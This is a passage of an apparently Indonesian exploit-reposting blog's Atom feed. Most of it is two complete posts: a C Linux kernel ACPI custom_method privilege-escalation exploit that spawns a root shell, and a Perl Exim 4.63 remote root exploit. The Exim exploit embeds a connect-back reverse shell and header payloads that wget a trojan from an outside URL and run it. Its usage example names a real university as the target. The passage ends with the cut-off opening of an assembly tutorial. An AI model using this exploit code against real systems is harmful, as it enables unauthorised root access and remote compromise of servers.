href='http://o2nri2.blogspot.com/2010/12/ultravintage-remote-multiple-sql.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3968103681859213489'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3968103681859213489'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/ultravintage-remote-multiple-sql.html' title='UltraVintage &lt;= Remote Multiple SQL Injection Exploits'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-3060618667625647340</id><published>2010-12-21T13:13:00.002+07:00</published><updated>2010-12-21T13:26:18.776+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>Linux Kernel &lt; 2.6.37-rc2 ACPI custom_method Privilege Escalation</title><content type='html'>&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;=================================================================&lt;br /&gt;Linux Kernel &amp;lt; 2.6.37-rc2 ACPI custom_method Privilege Escalation&lt;br /&gt;=================================================================&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * american-sign-language.c&lt;br /&gt; *&lt;br /&gt; * Linux Kernel &amp;lt; 2.6.37-rc2 ACPI custom_method Privilege Escalation&lt;br /&gt; * Jon Oberheide &amp;lt;jon@oberheide.org&amp;gt;&lt;br /&gt; * http://jon.oberheide.org&lt;br /&gt; *&lt;br /&gt; * Information:&lt;br /&gt; *&lt;br /&gt; *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347&lt;br /&gt; *&lt;br /&gt; *   This custom_method file allows to inject custom ACPI methods into the ACPI&lt;br /&gt; *   interpreter tables. This control file was introduced with world writeable&lt;br /&gt; *   permissions in Linux Kernel 2.6.33.&lt;br /&gt; *&lt;br /&gt; * Usage:&lt;br /&gt; *&lt;br /&gt; *   $ gcc american-sign-language.c -o american-sign-language&lt;br /&gt; *   $ ./american-sign-language&lt;br /&gt; *   [+] resolving required symbols...&lt;br /&gt; *   [+] checking for world-writable custom_method...&lt;br /&gt; *   [+] checking for an ACPI LID device...&lt;br /&gt; *   [+] poisoning ACPI tables via custom_method...&lt;br /&gt; *   [+] triggering ACPI payload via LID device...&lt;br /&gt; *   [+] triggering exploit via futimesat...&lt;br /&gt; *   [+] launching root shell!&lt;br /&gt; *   # id&lt;br /&gt; *   uid=0(root) gid=0(root) groups=0(root)&lt;br /&gt; *&lt;br /&gt; * Notes:&lt;br /&gt; *&lt;br /&gt; *   This vuln allows us to write custom ACPI methods and load them into the&lt;br /&gt; *   kernel as an unprivileged user. We compile some fancy ASL down to AML&lt;br /&gt; *   that overrides the ACPI method used when the status of the LID device is&lt;br /&gt; *   queried (eg. 'open' or 'closed' lid on a laptop). When the method is&lt;br /&gt; *   triggered, it overlays an OperationRegion on the physical address where&lt;br /&gt; *   sys_futimesat is located and overwrites the memory via the Store to&lt;br /&gt; *   escalate privileges whenever sys_futimesat is called.&lt;br /&gt; *&lt;br /&gt; *   The payload is 64-bit only and depends on the existence of a LID device&lt;br /&gt; *   (eg. laptop), but the exploit will still tell you if you're vulnerable&lt;br /&gt; *   regardless. If you don't know how to work around these limitations, you&lt;br /&gt; *   probably shouldn't be running this in the first place. :-P&lt;br /&gt; *&lt;br /&gt; *   Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants&lt;br /&gt; */&lt;br /&gt; &lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdint.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;#include &amp;lt;limits.h&amp;gt;&lt;br /&gt;#include &amp;lt;inttypes.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/utsname.h&amp;gt;&lt;br /&gt; &lt;br /&gt;/*&lt;br /&gt; * The ASL payload looks like:&lt;br /&gt; *&lt;br /&gt; * DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {&lt;br /&gt; *   Method (\_SB.LID._LID, 0, NotSerialized) {&lt;br /&gt; *     OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)&lt;br /&gt; *     Field(KMEM, AnyAcc, NoLock, Preserve) {&lt;br /&gt; *       HACK, 0x392&lt;br /&gt; *     }&lt;br /&gt; *     Store (Buffer () {&lt;br /&gt; *       0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,&lt;br /&gt; *       0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,&lt;br /&gt; *       0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,&lt;br /&gt; *       0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,&lt;br /&gt; *       0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,&lt;br /&gt; *       0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,&lt;br /&gt; *       0xc3 }, HACK)&lt;br /&gt; *     Return (One)&lt;br /&gt; *   }&lt;br /&gt; * }&lt;br /&gt; *&lt;br /&gt; * Feel free to `iasl -d` this is you don't trust me! ;-)&lt;br /&gt; */&lt;br /&gt;#define PAYLOAD_AML \&lt;br /&gt;"\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \&lt;br /&gt;"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \&lt;br /&gt;"\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \&lt;br /&gt;"\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \&lt;br /&gt;"\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \&lt;br /&gt;"\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \&lt;br /&gt;"\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \&lt;br /&gt;"\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \&lt;br /&gt;"\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01"&lt;br /&gt;#define PAYLOAD_LEN 144&lt;br /&gt; &lt;br /&gt;#define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method"&lt;br /&gt;#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"&lt;br /&gt; &lt;br /&gt;unsigned long&lt;br /&gt;get_symbol(char *name)&lt;br /&gt;{&lt;br /&gt;    FILE *f;&lt;br /&gt;    unsigned long addr;&lt;br /&gt;    char dummy;&lt;br /&gt;    char sname[512];&lt;br /&gt;    struct utsname ver;&lt;br /&gt;    int ret;&lt;br /&gt;    int rep = 0;&lt;br /&gt;    int oldstyle = 0;&lt;br /&gt;  &lt;br /&gt;    f = fopen("/proc/kallsyms", "r");&lt;br /&gt;    if (f == NULL) {&lt;br /&gt;        f = fopen("/proc/ksyms", "r");&lt;br /&gt;        if (f == NULL)&lt;br /&gt;            goto fallback;&lt;br /&gt;        oldstyle = 1;&lt;br /&gt;    }&lt;br /&gt;  &lt;br /&gt;repeat:&lt;br /&gt;    ret = 0;&lt;br /&gt;    while(ret != EOF) {&lt;br /&gt;        if (!oldstyle)&lt;br /&gt;            ret = fscanf(f, "%p %c %s\n", (void **)&amp;amp;addr, &amp;amp;dummy, sname);&lt;br /&gt;        else {&lt;br /&gt;            ret = fscanf(f, "%p %s\n", (void **)&amp;amp;addr, sname);&lt;br /&gt;            if (ret == 2) {&lt;br /&gt;                char *p;&lt;br /&gt;                if (strstr(sname, "_O/") || strstr(sname, "_S."))&lt;br /&gt;                    continue;&lt;br /&gt;                p = strrchr(sname, '_');&lt;br /&gt;                if (p &amp;gt; ((char *)sname + 5) &amp;amp;&amp;amp; !strncmp(p - 3, "smp", 3)) {&lt;br /&gt;                    p = p - 4;&lt;br /&gt;                    while (p &amp;gt; (char *)sname &amp;amp;&amp;amp; *(p - 1) == '_')&lt;br /&gt;                        p--;&lt;br /&gt;                    *p = '\0';&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        if (ret == 0) {&lt;br /&gt;            fscanf(f, "%s\n", sname);&lt;br /&gt;            continue;&lt;br /&gt;        }&lt;br /&gt;        if (!strcmp(name, sname)) {&lt;br /&gt;            fclose(f);&lt;br /&gt;            return addr;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;  &lt;br /&gt;    fclose(f);&lt;br /&gt;    if (rep)&lt;br /&gt;        return 0;&lt;br /&gt;fallback:&lt;br /&gt;    uname(&amp;amp;ver);&lt;br /&gt;    if (strncmp(ver.release, "2.6", 3))&lt;br /&gt;        oldstyle = 1;&lt;br /&gt;    sprintf(sname, "/boot/System.map-%s", ver.release);&lt;br /&gt;    f = fopen(sname, "r");&lt;br /&gt;    if (f == NULL)&lt;br /&gt;        return 0;&lt;br /&gt;    rep = 1;&lt;br /&gt;    goto repeat;&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;int&lt;br /&gt;main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;    int ret;&lt;br /&gt;    FILE *fp;&lt;br /&gt;    char buf[64];&lt;br /&gt;    struct stat sb;&lt;br /&gt;    char payload[PAYLOAD_LEN] = PAYLOAD_AML;&lt;br /&gt;    unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;&lt;br /&gt; &lt;br /&gt;    printf("[+] resolving required symbols...\n");&lt;br /&gt; &lt;br /&gt;    sys_futimesat = get_symbol("sys_futimesat");&lt;br /&gt;    if (!sys_futimesat) {&lt;br /&gt;        printf("[-] sys_futimesat symbol not found, aborting!\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    prepare_kernel_cred = get_symbol("prepare_kernel_cred");&lt;br /&gt;    if (!prepare_kernel_cred) {&lt;br /&gt;        printf("[-] prepare_kernel_cred symbol not found, aborting!\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    commit_creds = get_symbol("commit_creds");&lt;br /&gt;    if (!commit_creds) {&lt;br /&gt;        printf("[-] commit_creds symbol not found, aborting!\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    printf("[+] checking for world-writable custom_method...\n");&lt;br /&gt; &lt;br /&gt;    ret = stat(CUSTOM_METHOD, &amp;amp;sb);&lt;br /&gt;    if (ret &amp;lt; 0) {&lt;br /&gt;        printf("[-] custom_method not found, kernel is not vulnerable!\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    if (!(sb.st_mode &amp;amp; S_IWOTH)) {&lt;br /&gt;        printf("[-] custom_method not world-writable, kernel is not vulnerable!\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    printf("[+] checking for an ACPI LID device...\n");&lt;br /&gt; &lt;br /&gt;    ret = stat(HEY_ITS_A_LID, &amp;amp;sb);&lt;br /&gt;    if (ret &amp;lt; 0) {&lt;br /&gt;        printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    if (sizeof(sys_futimesat) != 8) {&lt;br /&gt;        printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    sys_futimesat &amp;amp;= ~0xffffffff80000000;&lt;br /&gt;    memcpy(&amp;amp;payload[63], &amp;amp;sys_futimesat, 4);&lt;br /&gt;    memcpy(&amp;amp;payload[101], &amp;amp;commit_creds, 4);&lt;br /&gt;    memcpy(&amp;amp;payload[108], &amp;amp;prepare_kernel_cred, 4);&lt;br /&gt; &lt;br /&gt;    printf("[+] poisoning ACPI tables via custom_method...\n");&lt;br /&gt; &lt;br /&gt;    fp = fopen(CUSTOM_METHOD, "w");&lt;br /&gt;    fwrite(payload, 1, sizeof(payload), fp);&lt;br /&gt;    fclose(fp);&lt;br /&gt; &lt;br /&gt;    printf("[+] triggering ACPI payload via LID device...\n");&lt;br /&gt; &lt;br /&gt;    fp = fopen(HEY_ITS_A_LID, "r");&lt;br /&gt;    fread(&amp;amp;buf, 1, sizeof(buf), fp);&lt;br /&gt;    fclose(fp);&lt;br /&gt; &lt;br /&gt;    printf("[+] triggering exploit via futimesat...\n");&lt;br /&gt; &lt;br /&gt;    ret = futimesat(0, "/tmp", NULL);&lt;br /&gt; &lt;br /&gt;    if (ret != -1 || errno != EDOTDOT) {&lt;br /&gt;        printf("[-] unexpected futimesat errno, exploit failed!\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    if (getuid() != 0) {&lt;br /&gt;        printf("[-] privileges not escalated, exploit failed!\n");&lt;br /&gt;        exit(1);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    printf("[+] launching root shell!\n");&lt;br /&gt;    execl("/bin/sh", "/bin/sh", NULL);&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# o2nri2.co.tv [oz]&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-3060618667625647340?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.1337day.com' title='Linux Kernel &lt; 2.6.37-rc2 ACPI custom_method Privilege Escalation'/><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/3060618667625647340/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/linux-kernel-2637-rc2-acpi-custommethod.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3060618667625647340'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3060618667625647340'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/linux-kernel-2637-rc2-acpi-custommethod.html' title='Linux Kernel &lt; 2.6.37-rc2 ACPI custom_method Privilege Escalation'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-9181038538799330916</id><published>2010-12-21T13:10:00.000+07:00</published><updated>2010-12-21T13:10:06.815+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>Exim 4.63 remote Exploit</title><content type='html'>&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;========================&lt;br /&gt;Exim 4.63 Remote Exploit&lt;br /&gt;========================&lt;br /&gt;&lt;br /&gt;#Exim 4.63 (RedHat/Centos/Debian) Remote Root Exploit by Kingcope&lt;br /&gt;#Modified perl version of metasploit module&lt;br /&gt; &lt;br /&gt;=for comment&lt;br /&gt; &lt;br /&gt;use this connect back shell as "trojanurl" and be sure to setup a netcat,&lt;br /&gt; &lt;br /&gt;---snip---&lt;br /&gt; &lt;br /&gt;$system = '/bin/sh';&lt;br /&gt;$ARGC=@ARGV;&lt;br /&gt;if ($ARGC!=2) {&lt;br /&gt;   print "Usage: $0 [Host] [Port] \n\n";&lt;br /&gt;   die "Ex: $0 127.0.0.1 2121 \n";&lt;br /&gt;}&lt;br /&gt;use Socket;&lt;br /&gt;use FileHandle;&lt;br /&gt;socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";&lt;br /&gt;connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";&lt;br /&gt;SOCKET-&amp;gt;autoflush();&lt;br /&gt;open(STDIN, "&amp;gt;&amp;amp;SOCKET");&lt;br /&gt;open(STDOUT,"&amp;gt;&amp;amp;SOCKET");&lt;br /&gt;open(STDERR,"&amp;gt;&amp;amp;SOCKET");&lt;br /&gt; &lt;br /&gt;open FILE, "&amp;gt;/var/spool/exim4/s.c";&lt;br /&gt;print FILE qq{&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;setuid(0);&lt;br /&gt;setgid(0);&lt;br /&gt;setgroups(0, NULL);&lt;br /&gt;execl("/bin/sh", "sh", NULL);&lt;br /&gt;}&lt;br /&gt;};&lt;br /&gt;close FILE;&lt;br /&gt; &lt;br /&gt;system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; rm /var/spool/exim4/s.c");&lt;br /&gt;open FILE, "&amp;gt;/tmp/e.conf";&lt;br /&gt;print FILE "spool_directory = \${run{/bin/chown root:root /var/spool/exim4/s}}\${run{/bin/chmod 4755 /var/spool/exim4/s}}";&lt;br /&gt;close FILE;&lt;br /&gt; &lt;br /&gt;system("exim -C/tmp/e.conf -q; rm /tmp/e.conf");&lt;br /&gt;system("uname -a;");&lt;br /&gt;system("/var/spool/exim4/s");&lt;br /&gt;system($system);&lt;br /&gt; &lt;br /&gt;---snip---&lt;br /&gt; &lt;br /&gt;=cut&lt;br /&gt; &lt;br /&gt;use IO::Socket;&lt;br /&gt; &lt;br /&gt;if ($#ARGV ne 3) {&lt;br /&gt;        print "./eximxpl &amp;lt;host/ip&amp;gt; &amp;lt;trojanurl&amp;gt; &amp;lt;yourip&amp;gt; &amp;lt;yourport&amp;gt;\n";&lt;br /&gt;        print "example: ./eximxpl utoronto.edu http://www.h4x.net/shell.txt 3.1.33.7 443\n";&lt;br /&gt;        exit;&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;$|=1;&lt;br /&gt; &lt;br /&gt;$trojan = $ARGV[1];&lt;br /&gt;$myip = $ARGV[2];&lt;br /&gt;$myport = $ARGV[3];&lt;br /&gt;$helohost = "abcde.com";&lt;br /&gt; &lt;br /&gt;$max_msg = 52428800;&lt;br /&gt; &lt;br /&gt;my $sock = IO::Socket::INET-&amp;gt;new(PeerAddr =&amp;gt; $ARGV[0],&lt;br /&gt;                                 PeerPort =&amp;gt; "25",&lt;br /&gt;                                 Proto    =&amp;gt; 'tcp');&lt;br /&gt; &lt;br /&gt;while(&amp;lt;$sock&amp;gt;) {&lt;br /&gt;        print;&lt;br /&gt;        if ($_ =~ /220 /) { last;}&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;print $sock "EHLO $helohost\r\n";&lt;br /&gt;while(&amp;lt;$sock&amp;gt;) {&lt;br /&gt;        print;&lt;br /&gt;        if ($_ =~ /250-SIZE (\d+)/) {&lt;br /&gt;                $max_msg = $1;&lt;br /&gt;                print "Set size to $max_msg !\n";&lt;br /&gt;        }&lt;br /&gt;        if ($_ =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/) {&lt;br /&gt;                $revdns = $1;&lt;br /&gt;                $saddr = $2;&lt;br /&gt;        }&lt;br /&gt;        if ($_ =~ /250 /) { last;}&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;if ($revdns eq $helohost) {&lt;br /&gt;        $vv = "";&lt;br /&gt;} else {&lt;br /&gt;        $vv = $revdns. " ";&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;$vv .= "(" . $helohost . ")";&lt;br /&gt; &lt;br /&gt;$from = "root\@local.com";&lt;br /&gt;$to = "postmaster\@localhost";&lt;br /&gt; &lt;br /&gt;$msg_len = $max_msg + 1024*256;&lt;br /&gt;$logbuffer_size = 8192;&lt;br /&gt; &lt;br /&gt;$logbuffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from &amp;lt;$from&amp;gt; H=$vv [$saddr]: message too big: read=$msg_len max=$max_msg\n";&lt;br /&gt;$logbuffer .= "Envelope-from: &amp;lt;$from&amp;gt;\nEnvelope-to: &amp;lt;$to&amp;gt;\n";&lt;br /&gt; &lt;br /&gt;$filler = "V" x (8 * 16);&lt;br /&gt;$logbuffer_size -= 3;&lt;br /&gt; &lt;br /&gt;for ($k=0;$k&amp;lt;60;$k++) {&lt;br /&gt;if (length($logbuffer) &amp;gt;= $logbuffer_size) {last;}&lt;br /&gt;$hdr = sprintf("Header%04d: %s\n", $k, $filler);&lt;br /&gt;$newlen = length($logbuffer) + length($hdr);&lt;br /&gt;if ($newlen &amp;gt; $logbuffer_size) {&lt;br /&gt;        $newlen -= $logbuffer_size;&lt;br /&gt;        $off = length($hdr) - $newlen - 2 - 1;&lt;br /&gt;        $hdr = substr($hdr, 0, $off);&lt;br /&gt;        $hdr .= "\n";&lt;br /&gt;}&lt;br /&gt;$hdrs .= $hdr;&lt;br /&gt;$logbuffer .= "  " . $hdr;&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;$hdrx = "HeaderX: ";&lt;br /&gt;$k2 = 3;&lt;br /&gt;for ($k=1;$k&amp;lt;=200;$k++) {&lt;br /&gt;        if ($k2 &amp;gt; 12) {&lt;br /&gt;                $k2 = 3;&lt;br /&gt;        }&lt;br /&gt;#        $hdrx .= "\${run{/bin/sh -c 'exec /bin/sh -i &amp;lt;&amp;amp;$k2 &amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0'}} ";&lt;br /&gt;        $hdrx .= "\${run{/bin/sh -c \"exec /bin/sh -c 'wget $trojan -O /tmp/c.pl;perl /tmp/c.pl $myip $myport; sleep 10000000'\"}} ";&lt;br /&gt;        $k2++;&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;$v = "A" x 255 . "\n";&lt;br /&gt;$body = "";&lt;br /&gt;while (length($body) &amp;lt; $msg_len) {&lt;br /&gt;        $body .= $v;&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;$body = substr($body, 0, $msg_len);&lt;br /&gt; &lt;br /&gt;print $sock "MAIL FROM: &amp;lt;$from&amp;gt;\r\n";&lt;br /&gt;$v = &amp;lt;$sock&amp;gt;;&lt;br /&gt;print $v;&lt;br /&gt;print $sock "RCPT TO: &amp;lt;$to&amp;gt;\r\n";&lt;br /&gt;$v = &amp;lt;$sock&amp;gt;;&lt;br /&gt;print $v;&lt;br /&gt;print $sock "DATA\r\n";&lt;br /&gt;$v = &amp;lt;$sock&amp;gt;;&lt;br /&gt;print $v;&lt;br /&gt; &lt;br /&gt;print "Sending large buffer, please wait...\n";&lt;br /&gt; &lt;br /&gt;print $sock $hdrs;&lt;br /&gt;print $sock $hdrx . "\n";&lt;br /&gt;print $sock $body;&lt;br /&gt;print $sock "\r\n.\r\n";&lt;br /&gt;$v = &amp;lt;$sock&amp;gt;;&lt;br /&gt;print $v;&lt;br /&gt;print $sock "MAIL FROM: &amp;lt;$from&amp;gt;\r\n";&lt;br /&gt;$v = &amp;lt;$sock&amp;gt;;&lt;br /&gt;print $v;&lt;br /&gt;print $sock "RCPT TO: &amp;lt;$to&amp;gt;\r\n";&lt;br /&gt; &lt;br /&gt;while(1){};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# &lt;/span&gt;&lt;a href="http://www.1337day.com/"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;1337db.com&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt; [2010-12-11]&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-9181038538799330916?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/9181038538799330916/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/exim-463-remote-exploit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/9181038538799330916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/9181038538799330916'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/exim-463-remote-exploit.html' title='Exim 4.63 remote Exploit'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-7606878076464493521</id><published>2010-12-19T17:47:00.001+07:00</published><updated>2010-12-19T17:47:24.458+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>Assembly on Linux</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: georgia, times, serif; font-size: 13px; line-height: 20px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Bagi seseorang yang bergelut di dunia security bahasa Assembly adalah bahasa yang wajib dikuasai. Karena bahasa ini adalah bahasa tingkat rendah, dekat dengan bahasa mesin (biner), maka mempelajari bahasa ini akan sangat menguntungkan. Dengan mempelajari bahasa assembly, sedikit banyak secara otomatis kita akan memahami cara komputer bekerja lebih dalam lagi.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Artikel ini juga sebagai pembuka sebelum saya membahas mengenai shellcode, buffer overflow dan teknik exploitasi lain yang membutuhkan pemahaman mengenai assembly dan sistem operasi. Bila anda ingin menjadi hacker yang baik, anda wajib menguasai bahasa ini.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Bahasa Mesin, Assembly dan C&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Pada dasarnya komputer adalah makhluk digital yang hanya mengerti digit 1 dan digit 0 (binary). Komputer hanya mau menerima data dalam bentuk binary dan juga hanya bisa mengerti perintah dalam bentuk binary. 